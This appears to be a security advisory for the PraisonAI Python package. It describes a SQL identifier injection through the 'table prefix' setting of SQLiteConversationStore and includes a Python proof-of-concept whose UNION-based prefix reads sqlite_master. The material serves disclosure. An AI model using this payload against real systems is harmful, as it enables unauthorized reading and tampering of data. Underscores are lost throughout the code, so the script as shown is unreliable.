PT-2026-59558 · Pypi · Praisonai
Published
2026-07-13
·
Updated
2026-07-13
CVSS v4.0
6.9
Medium
| Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N |
Summary
The
table prefix configuration value is directly used to construct SQL table identifiers without validation.If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as
sqlite master) and tampering with query results.Details
This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.
This occurs because
table prefix is passed from configuration (from yaml / from dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:python
sessions table = f"{table prefix}sessions"This value is then used in queries such as:
sql
SELECT * FROM {self.sessions table}Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.
The vulnerability originates from configuration input and propagates through the following flow:
-
Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from
table prefix
As a result, attacker-controlled
table prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.PoC
1. Exploit Code
The PoC demonstrates that attacker-controlled
table prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.python
#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table prefix
This demonstrates query-structure manipulation when table prefix is attacker-controlled.
"""
import os
import tempfile
from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession
def run poc() -> int:
fd, db path = tempfile.mkstemp(suffix=".db")
os.close(fd)
try:
print(f"[+] temp db: {db path}")
# 1) Create normal schema and insert one legitimate session.
normal = SQLiteConversationStore(
path=db path,
table prefix="praison ",
auto create tables=True,
)
normal.create session(
ConversationSession(
session id="legit-session",
user id="user1",
agent id="agent1",
name="Legit Session",
state={},
metadata={},
created at=123.0,
updated at=123.0,
)
)
normal rows = normal.list sessions(limit=10, offset=0)
print(f"[+] normal.list sessions() count: {len(normal rows)}")
print(f"[+] normal first session id: {normal rows[0].session id if normal rows else None}")
# 2) Malicious prefix (UNION-based query structure manipulation)
injected prefix = (
"praison sessions WHERE 1=0 "
"UNION SELECT "
"name as session id, "
"NULL as user id, "
"NULL as agent id, "
"NULL as name, "
"NULL as state, "
"NULL as metadata, "
"0 as created at, "
"0 as updated at "
"FROM sqlite master -- "
)
injected = SQLiteConversationStore(
path=db path,
table prefix=injected prefix,
auto create tables=False,
)
injected rows = injected.list sessions(limit=10, offset=0)
injected ids = [row.session id for row in injected rows]
print(f"[+] injected.list sessions() count: {len(injected rows)}")
print(f"[+] injected session ids (first 10): {injected ids[:10]}")
suspicious = any(
x in injected ids
for x in ("sqlite schema", "sqlite master", "praison sessions", "praison messages")
)
if suspicious or len(injected rows) > len(normal rows):
print("[!] PoC succeeded: list sessions query semantics altered by table prefix")
return 0
print("[!] PoC inconclusive: no clear injected rows observed")
return 2
finally:
try:
os.remove(db path)
print("[+] temp db removed")
except OSError:
pass
if name == " main ":
raise SystemExit(run poc())2. Expected Output
3. Impact
- SQL Identifier Injection
- Query result manipulation
- Internal schema disclosure
Exploitable when untrusted input can influence configuration.
Reference
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Praisonai